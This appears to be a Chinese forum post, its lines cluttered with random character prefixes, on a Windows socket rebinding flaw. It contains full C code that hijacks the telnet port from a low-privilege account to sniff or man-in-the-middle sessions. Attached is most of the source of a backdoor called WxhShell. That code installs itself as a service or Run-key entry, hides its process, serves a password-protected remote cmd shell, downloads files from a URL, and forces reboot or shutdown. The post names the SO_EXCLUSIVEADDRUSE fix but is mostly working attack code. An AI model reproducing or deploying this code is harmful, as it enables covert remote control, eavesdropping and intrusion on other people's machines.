在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
:
X|7l?{xW s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
g"?D>}@= |UO;StF saddr.sin_family = AF_INET;
#'h CohL }?kO<)d saddr.sin_addr.s_addr = htonl(INADDR_ANY);
q:sR zX Vp{2Z9]} bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
"<a|Q ,! Yb{t!KL 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
&ru0i@?) Rj`Y X0?+ 这意味着什么?意味着可以进行如下的攻击:
S`w)b'B!M !PIdw~YC 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
<j3HT"^[D +qf{ '|H 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
hO@3-SRa,k yv4PK* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
KZfRiCZ 0*x? 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
7b2<,
.E `_^=OOn
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
VW`=9T5%@ *G41%uz 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
,`@|C
Z-4A mP[u[|] 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
26K~m@ :q1r2&ne #include
MV\zwH #include
TLgVuY #include
p
n>`v #include
R,1 ,4XT DWORD WINAPI ClientThread(LPVOID lpParam);
^0-=(JrC int main()
pk1M.+ {
hiHp@"l< WORD wVersionRequested;
?='9YM DWORD ret;
G3?z.5,Q WSADATA wsaData;
#sZes BOOL val;
-#x\ E%v.F SOCKADDR_IN saddr;
.y+U7"?s* SOCKADDR_IN scaddr;
),,vu int err;
5-^twXC& SOCKET s;
+KNr1rG SOCKET sc;
j3&*wU_ int caddsize;
Q4q#/z HANDLE mt;
?9TogW>W DWORD tid;
`oBzt|f5 wVersionRequested = MAKEWORD( 2, 2 );
<=M }[ err = WSAStartup( wVersionRequested, &wsaData );
_s8_i6 Y if ( err != 0 ) {
;xwQzu%M>5 printf("error!WSAStartup failed!\n");
{H2i+"cF return -1;
Y\sjm]_ }
UXHFti/A< saddr.sin_family = AF_INET;
@1@WB]mQQ tO3 ;;% //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
063;D+ (Ln h> '2 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
]
),'=@ saddr.sin_port = htons(23);
.vMi<U; if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{8RGW0Y {
%A3Jd4DH printf("error!socket failed!\n");
9#!tzDOtD return -1;
,qB081hPG }
8F1!9W7 val = TRUE;
e_TDO //SO_REUSEADDR选项就是可以实现端口重绑定的
}}_l@5 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
&)-?=M {
H
#_Z6J printf("error!setsockopt failed!\n");
7l3q~ dQ return -1;
q=6Y2Q }
A4' aB0^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
(.o'1' //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
B!@0(A //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
pdSyx>rJ *gVv74;; if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Cq~Ir*" {
6bba}P ret=GetLastError();
LKcrr; printf("error!bind failed!\n");
@HI5;z return -1;
}R$%MU5:: }
plfB}p listen(s,2);
NO^(D+9 while(1)
QUf_fe!,| {
gp=0;#4
4 caddsize = sizeof(scaddr);
o1\8>Ew //接受连接请求
&bQ^J%\ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
9"S3A EI if(sc!=INVALID_SOCKET)
'! (`? {
k
W ,|> mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
u:ISwAp if(mt==NULL)
hM}2++V {
z/b*]"g, printf("Thread Creat Failed!\n");
4<|u~n*JF break;
{SV$fl; }
zdCt#=QV?R }
Za w+ CloseHandle(mt);
X!Q"p$D4( }
h 8s*FI closesocket(s);
2dfA}i>k WSACleanup();
h%%'{^>~ return 0;
D#0}/ }
xXZN<<f59 DWORD WINAPI ClientThread(LPVOID lpParam)
X*KT=q^?n {
|4vk@0L SOCKET ss = (SOCKET)lpParam;
P;Ox| SOCKET sc;
WlUE&=|Oz2 unsigned char buf[4096];
#Z : r SOCKADDR_IN saddr;
xpz
Jt2S long num;
P}gh-5x DWORD val;
#LiC@> DWORD ret;
RMXP)[ //如果是隐藏端口应用的话,可以在此处加一些判断
^d,d<Uc //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
6]VTn- saddr.sin_family = AF_INET;
iYnt:C saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
x>cu<,e$d\ saddr.sin_port = htons(23);
k4v[2y` if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
',f[y:v; {
U|=y&a2Rb printf("error!socket failed!\n");
#u_-TWVt return -1;
h(BN6ZrzKd }
aC*J=_9o# val = 100;
n" sGI if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<d4^gAfs* {
*d(Dk*( ret = GetLastError();
ScEM#9T | return -1;
Z_%>yqDC }
Wxjpe4 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
]P.S5s' {
*h UrE ret = GetLastError();
U/>5C: return -1;
l}JVRU{ }
~0L>l J if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
E%TvGe;# {
vsK>?5{C- printf("error!socket connect failed!\n");
H
X8q+ closesocket(sc);
g(1'i 1 closesocket(ss);
Uu
,Re return -1;
~c4Y*]J }
Ae1},2py while(1)
"'%x|nB {
xfb%bkr //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
J#\/znT //如果是嗅探内容的话,可以再此处进行内容分析和记录
~jgd92`{z //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
V;$lgTs|' num = recv(ss,buf,4096,0);
?S"xR0 * if(num>0)
\a<E3
< send(sc,buf,num,0);
OW;]=k/( else if(num==0)
NJRk##Z break;
*F[@lY\p num = recv(sc,buf,4096,0);
E0[ec6^qwY if(num>0)
q,(U 8 send(ss,buf,num,0);
v'mRch)d else if(num==0)
BagO0# break;
a"@k11 }
UiO%y closesocket(ss);
],V_"\ATD closesocket(sc);
]c4?-Vq%u return 0 ;
Dk[m)]w\ }
3 -Nwg9U Gm~jC < ErnjIx: ==========================================================
;EDc1: kZ~ 0fw- 下边附上一个代码,,WXhSHELL
<b!nI
N qbrY5;U ==========================================================
5)bf$?d t"4RGO)jh #include "stdafx.h"
yhxen V(u#8M #include <stdio.h>
a\;Vly; #include <string.h>
GgwO>[T #include <windows.h>
Sc#B-4m #include <winsock2.h>
=:Ahg
9 #include <winsvc.h>
QQ;<L"VW #include <urlmon.h>
E{'{fo!#) '#pY/,hVB #pragma comment (lib, "Ws2_32.lib")
[$:M/5y9 #pragma comment (lib, "urlmon.lib")
Ws$<B
b dNK Q&TC #define MAX_USER 100 // 最大客户端连接数
$R6iG\V5 #define BUF_SOCK 200 // sock buffer
(xxNQ]
l-( #define KEY_BUFF 255 // 输入 buffer
R9bsl.e T%zCAfx m #define REBOOT 0 // 重启
J)tk<&X #define SHUTDOWN 1 // 关机
O<}3\O )G( ZFYv|2l #define DEF_PORT 5000 // 监听端口
.LMOmc=( nE;^xMOK! #define REG_LEN 16 // 注册表键长度
t+y$i@R: #define SVC_LEN 80 // NT服务名长度
=Y!x 742sqHx // 从dll定义API
a_}k^zw( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
=)QtE|p,77 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
{<$ D|<S typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
uzG{jc^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
TNun)0p +pMa-{ // wxhshell配置信息
Zfwhg4G~ struct WSCFG {
4PdJ int ws_port; // 监听端口
=T7lv%u char ws_passstr[REG_LEN]; // 口令
Qg9*mlm` int ws_autoins; // 安装标记, 1=yes 0=no
DpA"5RV char ws_regname[REG_LEN]; // 注册表键名
bzj9U>eY char ws_svcname[REG_LEN]; // 服务名
d6RO2^ char ws_svcdisp[SVC_LEN]; // 服务显示名
n`v;S>aT char ws_svcdesc[SVC_LEN]; // 服务描述信息
a*
2*aH7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
%*:X
FB int ws_downexe; // 下载执行标记, 1=yes 0=no
tFj[>_d7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
(p6$Vgdt char ws_filenam[SVC_LEN]; // 下载后保存的文件名
[k<"@[8) ;&iZ{ };
.0ov>4,R ={'*C7K)oK // default Wxhshell configuration
GTYCNi66 struct WSCFG wscfg={DEF_PORT,
9c p jO "xuhuanlingzhe",
o4Ny9s 1,
VT@,RlB0 "Wxhshell",
WxE^S ??| "Wxhshell",
ui>0?O*G "WxhShell Service",
(g(.gN] "Wrsky Windows CmdShell Service",
[v0[,K "Please Input Your Password: ",
6>L) 1,
r [NI#wW "
http://www.wrsky.com/wxhshell.exe",
Ku'OM6D< "Wxhshell.exe"
Wb)>APL };
/kZ{+4M +F>9hA // 消息定义模块
g#W/WKvM char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
UYw_k\ char *msg_ws_prompt="\n\r? for help\n\r#>";
*HC[LM char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
3P}^Wu char *msg_ws_ext="\n\rExit.";
N*mm[F2+F char *msg_ws_end="\n\rQuit.";
P
}BU7`8 char *msg_ws_boot="\n\rReboot...";
^k#.;Q#4 char *msg_ws_poff="\n\rShutdown...";
}^b7x;O| char *msg_ws_down="\n\rSave to ";
5>S=f{ghFw ng0tNifZ; char *msg_ws_err="\n\rErr!";
--D&a;CO} char *msg_ws_ok="\n\rOK!";
A,H|c=" _0GM!Cny char ExeFile[MAX_PATH];
(B/od# nU int nUser = 0;
pwIu;:O!? HANDLE handles[MAX_USER];
A vh"(j int OsIsNt;
r}>q*yx: Tr\6AN?o SERVICE_STATUS serviceStatus;
Gd%X> ~ SERVICE_STATUS_HANDLE hServiceStatusHandle;
B)L=)N E\_Wpk // 函数声明
Q:v9C ^7 int Install(void);
wO-](3A-8P int Uninstall(void);
{p90 int DownloadFile(char *sURL, SOCKET wsh);
7>@g)%", int Boot(int flag);
0`H)c)
pP void HideProc(void);
eV"Za.a. int GetOsVer(void);
kO)+%'L!8 int Wxhshell(SOCKET wsl);
W]TO%x{ void TalkWithClient(void *cs);
$ap6Vxjr int CmdShell(SOCKET sock);
HNMVs]/e int StartFromService(void);
P&g.%8b~84 int StartWxhshell(LPSTR lpCmdLine);
n1E^8[~' bdxmJ9a:R VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
L/+KY_b:* VOID WINAPI NTServiceHandler( DWORD fdwControl );
e5z U`R B*
hW // 数据结构和表定义
I
k[{,p SERVICE_TABLE_ENTRY DispatchTable[] =
RJ63"F $ {
[(81-j1v {wscfg.ws_svcname, NTServiceMain},
.[Hv/?L {NULL, NULL}
H)@f_pfj( };
g~/@`Z2Y $D%[}[2 // 自我安装
12olVTuw int Install(void)
s*3p*zf {
+`(,1L1 char svExeFile[MAX_PATH];
$qp,7RW HKEY key;
_v\L'`bif strcpy(svExeFile,ExeFile);
`A0trC3 wOg?.6<Kxa // 如果是win9x系统,修改注册表设为自启动
vR*TW if(!OsIsNt) {
sM _m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
CS\ E]f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#q-7#pp RegCloseKey(key);
A}h`%b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
_Pe,84Ro RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
}i\U,mH0_& RegCloseKey(key);
ajJ+Jn\ return 0;
FV];od&c }
FCp\w1+ }
7O\sQ]i6 }
m Bc2x8g) else {
j~#nJI5] 9{(A- // 如果是NT以上系统,安装为系统服务
m1\+~*i SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
;Q{~jT if (schSCManager!=0)
zEJZ, < {
FHv^^u'@ SC_HANDLE schService = CreateService
P_y8[Y]? (
"4Bk schSCManager,
\~4IOu wscfg.ws_svcname,
+#wh`9[wBt wscfg.ws_svcdisp,
$p?TE8G SERVICE_ALL_ACCESS,
C%LXGMt SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
h+"UK= SERVICE_AUTO_START,
c&]nAn( SERVICE_ERROR_NORMAL,
}z|@X KA# svExeFile,
49Y_ze6L} NULL,
[(d))(M$| NULL,
PSR21; NULL,
B{dR/q3;@ NULL,
xA7Aw0 NULL
8~6H\.0Q );
h!4jl0oX] if (schService!=0)
MzP
q(`W {
)_-EeH CloseServiceHandle(schService);
P)9$}9i CloseServiceHandle(schSCManager);
mu/GOEZ5 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
?V9Da;cj strcat(svExeFile,wscfg.ws_svcname);
r,FPTf
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
qHtonJc RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
x<lY&KQ0 RegCloseKey(key);
XqxmvN return 0;
[>#@?@x`P }
rq]zt2 }
#l<un< CloseServiceHandle(schSCManager);
9irT}e }
%j7HIxZh }
jVxX! V lq[o2\ return 1;
UFOUkS
F }
#@^mA{Dt5 m&&Y=2 // 自我卸载
L3s1a -K int Uninstall(void)
o)}M$}4 {
s ~Xa=_+D HKEY key;
,!i!q[YkL9 67]kT%0 if(!OsIsNt) {
;+6TZqklQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
("!P_Q# RegDeleteValue(key,wscfg.ws_regname);
.9'bi#:Cw RegCloseKey(key);
$?FA7=_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
-rXo}I,VI RegDeleteValue(key,wscfg.ws_regname);
A6faRi703 RegCloseKey(key);
:rcohzfa return 0;
W}0cM9 g }
~REP@!\r^ }
=o? Q0 }
mQiVTIP3[O else {
]?"1FSu-8r CA8N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
S`?L\R.: if (schSCManager!=0)
6U!zc]> {
^U@-Dp,k+ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Mb
+ if (schService!=0)
q8-*3K {
//O9}- if(DeleteService(schService)!=0) {
3Y6W)$Q CloseServiceHandle(schService);
+61h!/<W CloseServiceHandle(schSCManager);
x4 .Y&Wq# return 0;
G0^,@jF?b }
nbf w7u CloseServiceHandle(schService);
1:Dm,d; }
48p< ~#<W\ CloseServiceHandle(schSCManager);
?K9zTas@ }
Uk0Fo(HY }
079mn/8; "eOFp\vPr return 1;
G~$[(Fhk }
j7u\.xu9 hxX-iQya
// 从指定url下载文件
1O@y
>cV int DownloadFile(char *sURL, SOCKET wsh)
;:l>Kac {
}g]O_fN7~ HRESULT hr;
{CH *?|t char seps[]= "/";
l+n0=^ Z char *token;
/tqQAvj char *file;
p*l]I*x'< char myURL[MAX_PATH];
z pV+W-j] char myFILE[MAX_PATH];
JA(M'&q4 KvtX>3#qM strcpy(myURL,sURL);
PD$@.pib token=strtok(myURL,seps);
'3'*VcL( while(token!=NULL)
_1EWmHZ? {
(w/)u file=token;
:0o,pndU token=strtok(NULL,seps);
SGK=WLGM8 }
azT@S=, R.rxpJ+kU GetCurrentDirectory(MAX_PATH,myFILE);
W{js9$oJ strcat(myFILE, "\\");
Z.x9SEe1t strcat(myFILE, file);
@Z{!T)#}j send(wsh,myFILE,strlen(myFILE),0);
o%1dbbh send(wsh,"...",3,0);
q(iM=IeiN hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
S(MVL!Lm if(hr==S_OK)
x}(p\Efx return 0;
1 ^q~NYTK else
trAIh}Dj return 1;
KH_~DZU*5 eT<T[; m }
\pJBBG 3<vw#]yL // 系统电源模块
B!iz=+RNC1 int Boot(int flag)
|',$5!:0O {
H}}g\|r& HANDLE hToken;
%"{jNC? TOKEN_PRIVILEGES tkp;
[t.x cO ?Gr2@,jlD if(OsIsNt) {
6Q}WX[| tQ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Dqh
rg; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
.*acw tkp.PrivilegeCount = 1;
8&2W^f5 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
EKTn$k= AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
z:a%kZQ!0 if(flag==REBOOT) {
XZ1oV?Z4 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
W:V:Ej7 h return 0;
aW.[3M;?v }
RV{'[8gM else {
n(.U>_
P if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
@Fs2J_v return 0;
U5!T-o;3} }
`:&jbd4H }
B^yA+&3HI else {
Cg 4l*"_ if(flag==REBOOT) {
hantGw| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
0Xx&Z8E return 0;
KMo]J1o }
LRa^x44 else {
"pLWJvj6- if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
)*tV return 0;
1NI%J B }
#eKg!]4-R }
?r"QJa> Okt0b|=`1* return 1;
}_vUs jK }
;{% R[M' ^_C]?D? // win9x进程隐藏模块
IA&NMf;{ void HideProc(void)
0S}ogU[k {
/rQ[Ik$| \ =(r6X HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
+*AdSzX if ( hKernel != NULL )
.W/#$s|X\ {
N# ?}r>W3 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
8kA2.pIk ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
ZT'VF~ FreeLibrary(hKernel);
9S8>"w^R }
@UgZZ )!tqock*v return;
G+dQ" cI9 }
|MEu"pY) g E#4 3 // 获取操作系统版本
Sh(W s2b7 int GetOsVer(void)
'L1=:g.\i {
tITx+i OSVERSIONINFO winfo;
@_
Q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
+^0Q~>=VD GetVersionEx(&winfo);
T|fmO<e*n if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
zJ9[),;7B return 1;
:#I7);ol else
\4qwLM?E^ return 0;
~,jBm^4 }
sCi"qtHP y8k*{1MuO // 客户端句柄模块
rr;p; int Wxhshell(SOCKET wsl)
VGDds {
R<-u`uXnP SOCKET wsh;
pA|Z%aL struct sockaddr_in client;
fVJsVZ"6v` DWORD myID;
zVL"$ ) 9f/RD?(1O while(nUser<MAX_USER)
U|2*.''+Q {
%;0l1X int nSize=sizeof(client);
I]dt1iXu_{ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
I0v$3BQ4 if(wsh==INVALID_SOCKET) return 1;
.>A`FqV$~+ d@u)'AY%/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
+dB/SC-^U if(handles[nUser]==0)
Kx[u9MD closesocket(wsh);
93+p~? else
gs?=yNL nUser++;
G5K_e:i }
_pM~v>~*+ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
3\~
RWoB0u ud}B#{6 return 0;
!rwe|"8m?u }
&y~EEh| C~PoC'"q // 关闭 socket
b{WEux{) void CloseIt(SOCKET wsh)
Gs7#W:e7 {
Ivdg1X closesocket(wsh);
%8N=4vTJ nUser--;
P*M$^p ExitThread(0);
nm3/-Q}, }
xdqiogu e D%k`udz< // 客户端请求句柄
&N^^[
uG void TalkWithClient(void *cs)
aLKvl~s;m {
GLIe8T*ht Wdp?<U SOCKET wsh=(SOCKET)cs;
H|]~(.w 1} char pwd[SVC_LEN];
XNm%O char cmd[KEY_BUFF];
J#L"kz char chr[1];
M1sR+e$" int i,j;
CG -^}xE: dDeImSeV while (nUser < MAX_USER) {
M:* ^k ;K+'J0 if(wscfg.ws_passstr) {
a*fUMhIi if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
TGe)%jZ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
fQ@k$W\ //ZeroMemory(pwd,KEY_BUFF);
Xgs 31#K i=0;
K.{:H4_ while(i<SVC_LEN) {
Z\@m_/g I,pI2 // 设置超时
r'C(+E ( fd_set FdRead;
hj8S# struct timeval TimeOut;
/!//i^ FD_ZERO(&FdRead);
7j
<:hF~ FD_SET(wsh,&FdRead);
k'hJ@6eKS TimeOut.tv_sec=8;
Gx.iZOOH/ TimeOut.tv_usec=0;
9sR?aW^$,/ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
mV58&SZT if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
9)Jc'd| `QIYnokL if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
w&F/P]1 pwd
=chr[0]; |D
?}6z
if(chr[0]==0xd || chr[0]==0xa) { lN<,<'&^.
pwd=0; VXpbmg!{S
break; P%- @AmO^_
} )w.\xA~|
i++; k~<b~VcU
} /M.@dW7
w
p%_m!
// 如果是非法用户,关闭 socket Ul41RNy)
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mR OXwzL
} _Coh11
T<\!7RnLc
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IQz:DJ
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #t^y$9^
<Fc @T4Q,
while(1) { rps2sXGr
/61P`1y(J
ZeroMemory(cmd,KEY_BUFF); f"8!uE*;
JDIQpO"Qji
// 自动支持客户端 telnet标准 cc"L> XoK
j=0; h.`U)6*?&N
while(j<KEY_BUFF) { XehpW}2\
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @7C?]/8#
cmd[j]=chr[0]; o,#[Se*n
if(chr[0]==0xa || chr[0]==0xd) { D m|_;iO,
cmd[j]=0; %S2^i3
break; /%fa_+,|-
} ) ag8]
j++; pX nY=
} @L)=epC
e>:bV7h
j~
// 下载文件 c2,1d`
if(strstr(cmd,"http://")) { ^YpA@`n
send(wsh,msg_ws_down,strlen(msg_ws_down),0); bg8<}~zg
if(DownloadFile(cmd,wsh)) `?X=@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )AX0x1I|E
else PhS`,I^Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NVTNjDF%s
} Mk*&CNo3
else { Zv`j+b
+&w=*IAKZ
switch(cmd[0]) { q
$Hg\ {c
XuQ7nlbnq
// 帮助 KvFGwq"X
case '?': { UP@a
?w
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sw(dd01a
7
break; :[#~,TW
} }P5zf$
// 安装
_>G=v!
case 'i': { w_gPX0N}3n
if(Install()) \Lz2"JI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q}?yj,DD
else :oH~{EQ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .Q,IO CHk
break; "]j GCo>9
} rt7Ma2tK
// 卸载 s[V$fvW
case 'r': { <By6%<JTn
if(Uninstall()) p8>.Q/4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V7zF5=w
else m]bv2S+5 y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WhO;4-q)2
break; yAu-BObD
} /ry#q%?
// 显示 wxhshell 所在路径 6~
*w~U
case 'p': { Wp0e?bK_
char svExeFile[MAX_PATH]; Z=ayVsJ3
strcpy(svExeFile,"\n\r"); 6z^Kg~a
strcat(svExeFile,ExeFile); 4{:W5eT! /
send(wsh,svExeFile,strlen(svExeFile),0); $II[b-X?S
break; /\%K7\
} Q]';1#J\
// 重启 H$^b.5K
case 'b': { 9I a4PPEH1
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?G5JAG`
if(Boot(REBOOT)) .b4_O
CGg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9.KOrg5}L
else { z2m%L0
closesocket(wsh); %SRUHx[D
ExitThread(0); 1PMBo=SUe8
} d9zI
A6y
break; >uok\sX
} @#T*OH
// 关机 dQ=mg#(
case 'd': { FuOP+r!H
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Lx-ofN\
if(Boot(SHUTDOWN)) Lp; {&=PIo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c2}?[\U]
else { E^.y$d~ dS
closesocket(wsh); G`9\v=0
ExitThread(0); >IW0YIQy,
} ;79X#hI
break; Wgl7)Xk.)
} `<Z5/;a5W
// 获取shell YfC1.8
case 's': { P@Wi^svj
CmdShell(wsh); UTEUVcJ\
closesocket(wsh); w_po5[]R
ExitThread(0); |kvom 4 T
break; |bQX9|L
} ,x| 4nk_
// 退出 m6BIQ(l
case 'x': { h[D"O6 y
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8>Xyz`$kH
CloseIt(wsh); ~jab/cR
break; _y}]j;e8>{
} Azx4+`!-
// 离开 q$EicH}k8
case 'q': { IqK??KSC
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5oQy
$Y
closesocket(wsh); Y{X79Rd
WSACleanup(); ^|@t 2Rp@
exit(1); h+k:G9;sS
break; tT}*%A
} AL/q6PWi
} \UI7H1XDH
} ]X,C9
[&n2 yt
// 提示信息 m~ %\f8w-x
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p=U*4[9k
} *0)vsBi
} 6(4FC?Y7
/I{<]m$
return; %eCbH`
} +tL]qOBP
8\m_.e
// shell模块句柄 d`LBFH,
int CmdShell(SOCKET sock) ]KfjZ!Qh
{ etdI:N*x
STARTUPINFO si; UQ#"^`=R<
ZeroMemory(&si,sizeof(si)); ql5NSQ>{
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "d'D:>z]%
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u8pJjn;
PROCESS_INFORMATION ProcessInfo; D 8^wR{-;J
char cmdline[]="cmd"; G>{Bij44
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xU#f>@v!
return 0; 7/lXy3B4
} T:aYv;#0
c&.>SR')
// 自身启动模式 !Q!==*1H
int StartFromService(void) Hu|;cbK
{ ahNpHTPa
typedef struct `_C4L=q"
{ 5v4
,YHD
DWORD ExitStatus; OosxuAC(
